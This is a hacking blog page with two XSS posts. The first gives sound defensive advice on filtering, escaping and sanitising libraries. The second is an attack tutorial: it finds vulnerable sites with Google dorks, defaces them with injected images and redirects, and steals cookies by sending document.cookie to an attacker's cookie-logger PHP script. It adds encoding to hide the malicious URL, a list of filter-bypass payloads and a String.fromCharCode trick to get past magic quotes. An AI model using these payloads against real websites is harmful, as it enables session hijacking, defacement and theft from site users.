Showing posts with label Cross Site Scripting (XSS). Show all posts
Showing posts with label Cross Site Scripting (XSS). Show all posts

Saturday, 23 July 2011

0

Prevent Yourself From Cross Site Scripting XSS Attacks

  • Saturday, 23 July 2011
  • saurav garg
  • Cross Site Scripting (XSS) attacks are amongst the most common types of attacks against web applications. XSS attacks all fall under the same category however a more detailed look at the techniques employed during XSS operations reveals a multitude of tactics that exploit a variety of attack vectors. A detailed look at XSS attacks can be found in the following article Cross-Site Scripting attack.

    This article guides you through the most common and useful XSS prevention mechanisms which are Filtering and Escaping.

    Filtering for XSS

    All XSS attacks infect your web site via some form of User Input. XSS attack code could come from a simple <FORM> submitted by your users, or could take a more complex route such as a JSON script, XML web service or even an exploited cookie. In all cases the web developer should be aware that the data is coming from an external source and therefore must not be trusted.

    The simplest and arguably the easiest form of XSS protection would be to pass all external data through a filter which will remove dangerous keywords, such as the infamous <SCRIPT> tag, JavaScript commands, CSS styles and other dangerous HTML markup (such as those that contain event handlers).

    Many web developers choose to implement their own filtering mechanisms; they usually write server-side code (in PHP, ASP, or some other web-enabled development language) to search for keywords and replace them with empty strings. I have seen lots of code that makes use of Regular Expressions to do this filtering and replacing. This technique is in itself not a bad one, however unfortunately the hackers usually have more experience than the web developers, and often manage to circumvent simple filters by using techniques such as hex encoding, unicode character variations, line breaks and null characters in strings. These techniques must all be catered for and that is why it is recommended to use some sort of library that has been tried and tested by the community at large.

    Many libraries exist to choose from, and your choice will primarily depend on the backend technology that your web server uses. What is important is that you choose a library that is regularly maintained by a reliable source. XSS techniques keep changing and new ones emerge all the time so your filters will need to be updated periodically to keep abreast with the changing attacks.

    If you are using Java, then a good place to go is XSS Protect, a project hosted on Google code. It claims to filter all “known” XSS attacks from HTML code. PHP boasts a more comprehensive library called HTML Purifier which licensed as Open Source and can be customised depending on your needs. HTML Purifier also boasts strict standards compliance and better features than other filters.

    Another interesting library you can use is HTML Markdown which converts text from your users into standard and clean XHTML. This gives the advantage that minimal HTML Markup can exist in your user’s input (such as bold, underline and colours). HTML Markdown is a Perl library and does not explicitly advertise XSS prevention features so it probably should not be your only line of defence.

    The side-effect with these filtering techniques is that legitimate text is often removed because it hits one or more of the forbidden keywords. For example, I would not be able to publish this article if the blogging software I used was filtering out all my HTML tags. I would not be able to write things like <SCRIPT> and alert(‘you have been hacked’) as these would be filtered out and you would not see them. If you want to preserve the original data (and it’s formatting) as best as possible you would need to relax your filters and employ HTML, Script and CSS Escaping techniques, all of which I explain in the next section.

    Escaping from XSS

    This is the primary means to disable an XSS attack. When performing Escaping you are effectively telling the browser that the data you are sending should be treated as data and should not be interpreted in any other way. If an attacker manages to put a script on your page, the victim will not be affected because the browser will not execute the script if it is properly escaped.

    Escaping has been used to construct this article. I have managed to bring many scripts into your browser, but none of these scripts has executed! The technique used to do that is called, escaping, or as the W3C calls it “Character Escaping”.

    In HTML you can escape dangerous characters by using the &# sequence followed by the it’s character code.

    An escaped < character looks like this: &#60. The > character is escaped like this: &#62. Below is a list of common escape codes for HTML:

    " ---> &#34
    # ---> &#35
    & ---> &#38
    ' ---> &#39
    ( ---> &#40
    ) ---> &#41
    / ---> &#47
    ; ---> &#59
    < ---> &#60
    > ---> &#62

    Escaping HTML is fairly easy, however in order to properly protect yourself from all XSS attacks you require to escape JavaScript, Cascading Style Sheets, and sometimes XML data. There are also many pitfalls if you try to do all the escaping by yourself. This is where an Escaping Library comes useful.

    The two most popular escaping libraries available are the ESAPI provided by OWASP and AntiXSS provided for Microsoft. ESAPI can plug into various technologies such as Java, .NET, PHP, Classic ASP, Cold Fusion, Python, and Haskell. AntiXSS exclusively protects Microsoft technologies and is therefore better suited in an all-Microsoft environment. Both libraries are constantly updated to keep up with the latest hacker techniques and are maintained by industry experts who understand changing tactics and emerging technologies such as HTML5.

    When to Escape

    You cannot just simply escape everything, or else your own scripts and HTML markup will not work, rendering your page useless.

    There are several places on your web page which you need to ensure are properly escaped. You can use your own escaping functions (not recommended) and you can use the existing ESAPI and AntiXSS libraries.

    Use HTML Escaping when…

    Untrusted data is inserted in between HTML opening and closing tags. These are standards tags such as <BODY>, <DIV>, <TABLE> etc…

    For example:

    <DIV> IF THIS DATA IS UNTRUSTED IT MUST BE HTML ESCAPED </DIV>

    Use JavaScript Escaping when…

    Untrusted data is inserted inside one of your scripts, or in a place where JavaScript can be present. This includes certain attributes such as STYLE and all event handlers such as ONMOUSEOVER and ONLOAD

    For example:

    <SCRIPT>alert('IF THIS DATA IS UNTRUSTED IT MUST BE JAVASCRIPT ESCAPED')</SCRIPT>
    <BODY ONLOAD=”IF THIS DATA IS UNTRUSTED IT MUST BE JAVASCRIPT ESCAPED">

    Use CSS Escaping when…

    Untrusted data is inserted inside your CSS styles. As you saw in the Attack Vectors examples, many CSS styles can be used to smuggle a script into your page.

    For example:

    <DIV STYLE="background-image: IF THIS DATA IS UNTRUSTED IT MUST BE CSS ESCAPED">


    Above is a diagram visually representing the internet boundary and where filtering and escaping must happen to ensure XSS protection.

    XSS Attacks are a moving target

    In this article I attempted to collect as many recommendations and best practices used by security researchers worldwide. This recommendations set out in this article are by no means exhaustive, however they should be a good starting point for your XSS defence endeavours.

    Technology is changing, and hacker attacks are getting more sophisticated but by understanding the basics set out in this article you can be prepared to prevent future attack techniques that will most definitely arise.

    The first step in defending against XSS attacks is to code your web applications carefully and use the proper escaping mechanisms in the right places. After that comprehensive testing should be performed, ideally using an automated XSS scanner. When updates are made to your web applications, you should scan the affected pages again to ensure that no new vulnerabilities have been exposed.



    Subscribe us via E-mail and Add us on Facebook for daily updates and Plz also do click once on the ads displaying below or above the post for us.. :)
    Read more...

    Thursday, 21 July 2011

    0

    Cross Site Scripting (XSS)

  • Thursday, 21 July 2011
  • saurav garg
  • 'XSS' also known as 'CSS' - Cross Site Scripting. It is a very common vulnerability found in Web Applications, 'XSS' allows the attacker to INSERT malicous code, There are many types of XSS attacks, I will mention 3 of the most used. This kind of vulnerability allows an "attacker" to inject some code into the applications affected in order to bypass access to the website or to apply  "phishing" on falls users.
                                                          This technique is also used for website Hacking.

    Types of XSS 
     
    There are actually three types of Cross-Site Scripting, commonly named as:
     
    - DOM-Based XSS
    - Non-persistent XSS
    - Persistent XSS


    DOM-Based : The DOM-Based Cross-Site Scripting allow to an attacker to work not on a victim website but on a victim local machine: the various operative system usually includes "since born" some HTML pages created for differents aims, but as long as the humans do mistakes this HTML pages often can be exploited due to code vulnerabilities.

    The DOM-Based XSS exploits these problems on users local machines in this way:
     
     - The attacker creates a well builded malicious website
     
     - The ingenuous user opens that site
     
     - The user has a vulnerable page on his machine
     
     - The attacker's website sends commands to the vulnerable HTML page
     
     - The vulnerable local page execute that commands with the user's privileges
      on that machine.
     
     - The attacker easily gain control on the victim computer.

    Non-Persistent : The non-persistent XSS are actually the most commons vulnerabilities that can be found on the Net. It's commonly named as "non-persistent" because it works on an immediate HTTP response from the victim website: it show up when the webpage get the data provided by the attacker's client to automatically generate a result page for the attackers himself. Standing on this the attacker could provide some malicious code and try to make the server execute it in order to obtain some result.

    The most common applying of this kind of vulnerability is in Search engines in website: the attacker writes some arbitrary HTML code in the search textbox and, if the website 
    is vulnerable, the result page will return the result of these HTML entities.

    Persistent : The persistent XSS vulnerabilities are similar to the second type (Non-persistent XSS), because both works on a victim site and tries to hack users informations and the difference is that in websites vulnerables to Persistent XSS the attacker doesn't need to provide the crafted url to the users, because the website itself permits to users to insert fixed data into the system: this is the case for example of "guestbooks". Usually the users uses that kind of tool to leave messages to the owned of the website and at a first look it doesn't seems something dangerous, but if an attacker discover that the system is vulnerable can insert some malicious code in his message and let ALL visitors to be victim of that.

    This works when the tool provided (the guestbook in the example) doesn't do any check on the content of the inserted message: it just inserts the data provided from the user into the result page.


    How to Find XSS Vulnerabilities:-

    To start finding these Vulnerabilities you can start checking out Blogs, Forums, Shoutboxes, Comment Boxes, Search Box's, there are too many to mention.

    Using 'Google Dorks' to make the finding easyier, Ok if you wanna get cracking, goto google.com and type inurl:"search.php?q=" now that is a common page and has alot of results. Also note that most sites have XSS Vulnerabilities, its just having a good eye, and some good knowledge on how to bypass there filteration.

    Basics of XSS:-

    Well now lets start learning some Actual Methods, the most common used XSS injection is :

    <script>alert("hackingandtips.blogspot.com")</script>

    now this will alert a popup message, saying "hackingandtips.blogspot.com" without quotes.

    So,use "search.php?q=" and you can simple try the following on a website with the same thing,

    http://website.com/search.php?q=<script>alert("hackingandtips.blogspot.com")</script>

    There are good chances of it working, but dont be worried if it dont, just try diffrent sites. You can insert HTML not just javascript :

    http://website.com/search.php?q=<br><br><b><u>hackingandtips.blogspot.com</u></b>

    if you see the bold text on the page and newlines then you knows its vulnerable.

    Example:



    How to Deface a Website using XSS ?

    Well now you understand how XSS works, we can explain some simple XSS deface methods, there are many ways for defacing i will mention some of the best and most used, the first one being IMG SCR, now for those of you who dont know html, IMG SCR
    is a tag, that displays the IMAGE linked to it on the webpage.

    <html><body><IMG SRC="http://website.com/yourDefaceIMAGE.png"></body></html>

    ok now if you change the link to a valid picture link, and save it and run it you will see what i mean. Right now say you have found a Shoutbox, Comment box, or anything that shows your data after you submitted it you could insert the following to make the picture display on the page.

    <IMG SRC="http://site.com/yourDefaceIMAGE.png">

    The other tags are not needed has the page will already have them. Ok it helps to make your picture big so it stands out and its clear the site got hacked. Another method is using FLASH videos, its the same has the method below but a more stylish deface.

    <EMBED SRC="http://site.com/xss.swf"

    That will execute the flash video linked to it. Or maybe using a pop or redirection as :

    <script>window.open( "http://www.hackersonlineclub.tk/" )</script>

    There are many others ways that you can found using Google or other website. Mine purpose is to make you understand the concept :)

    How to Cookie Stealing using XSS ?

    I decided to add this has its the most usefull method of XSS. First learn how to make cookie logger from here: How To Make A Cookie Stealer Php script ?

    ok now you have it save it has a .php file and upload to your server, remember to create the file 'log.txt' too
    and chmod it to 777, ok now find a XSS vulnerable website, any attack type will do ok now your gonna want to insert this code.

    window.location = "http://yourServer.com/cookielogger.php?c="+document.cookie

    or

    document.location = "http://yourServer.com/cookielogger.php?c="+document.cookie

    now when user visits the page that got injected too, they will be sent to the site, and cookie will be stolen the second one is more stealth. Watch your file now for cookies, then you can hijack there session :D

    but now you ask what if my site has not got, this kind of attack, it only shows data once and dont store it. Well lets say we had a page search.php?q= we can use the following code to make a maliouc url from it and maybe hex, base64 encode it so people cant see the code

    http://site.com/search.php?q=document.location = "http://yourServer.com/cookielogger.php?c="+document.cookie


    How to Bypass Filtration ?

    Alot of sites may seem vulnerable but not executing the code, well to solve this read
    this. Some common methods to bypass filtration is

    ')alert('xss');

    or

    ");alert('xss');

    that will do the same thing has <script>alert("XSS")</script> on a vulnerable server. You can also try hexing or base64 encoding your data before you submit, Please note its bad practice to use alert("XSS") to test for XSS, because some sites block the keyword "XSS" before so we using "hackingandtips.blogspot.com".

    Some other ways to bypass filtration

    website.com/search.php?q="><script>alert('hackingandtips.blogspot.com')</script>

    website.com/search.php?q="><script>alert("hackingandtips.blogspot.com")</script>

    website.com/search.php?q="><script>alert("hackingandtips.blogspot.com");</script>

    website.com/search.php?q="><script>alert(/hackingandtips.blogspot.com");</script>

    website.com/search.php?q=//"><script>alert(/hackingandtips.blogspot.com/);</script>

    website.com/search.php?q=abc<script>alert(/hackingandtips.blogspot.com/);</script>

    website.com/search.php?q=abc"><script>alert(/hackingandtips.blogspot.com/);</script>

    website.com/search.php?q=abc"></script><script>alert(/hackingandtips.blogspot.com/);</script>

    website.com/search.php?q=abc//abc"></script>alert(/hackingandtips.blogspot.com/);</script>

    website.com/search.php?q=000"><script></script><script>alert(hackingandtips.blogspot.com);</script>

    website.com/search.php?q=000abc</script><script>alert(/hackingandtips.blogspot.com/);</script>

    website.com/search.php?q=--<script>"></script>alert(/hackingandtips.blogspot.com/);</script>

    website.com/search.php?q=pwned<script>document.write('hackingandtips.blogspot.com');</script>

    website.com/search.php?q=pwned</script><script>document.write(hackingandtips.blogspot.com);</script>

    website.com/search.php?q=pwned')alert(hackingandtips.blogspot.com);//

    website.com/search.php?q=pwned";)alert(hackingandtips.blogspot.com);//

    website.com/search.php?q=pwned");alert(/hackingandtips.blogspot.com/);//

    website.com/search.php?q=pwned//"></script><script>location.href='javascript:alert(/hackingandtips.blogspot.com/);</script>

    website.com/search.php?q="><img src='javascript:alert('hackingandtips.blogspot.com');'>

    website.com/search.php?q="><script src='http://malicous js'</script>


    Advanced XSS - way to bypass magic quotes filtration:

    Ok now we are going to learn about some good techniqes. I have came across many
    sites where 'Magic Quotes' is on and therfore rendering some commands useless. Fear not, i have come up with a way using char codes (Decimals), to convert char code to Ascii. The functions to turn CharCodes (Decimals) into ASCII, you can find a complete table here


    This will help you write what you want, In my examples ill be writing "HOC" this is the following code

    72 79 67

    Ok now we got the Decimal value of our string, we need to know what function in javascript converts this.

    String.fromCharCode()

    is suitable for this kinda things, its easy to setup, im gona give it my args below.

    String.fromCharCode(72, 79, 67)

    Ok now "String.fromCharCode(72, 79, 67)" Is a JAVA (ASCII) way of saying "HOC".
    And to use this with alerts etc, you dont need to use quotes, as it acts as a variable.

    <script>alert(String.fromCharCode(72, 79, 67))</script>

    For More Script Coding Of XSS Visit





    Subscribe us via E-mail and Add us on Facebook for daily updates and Plz also do click once on the ads displaying below or above the post for us.. :)
    Read more...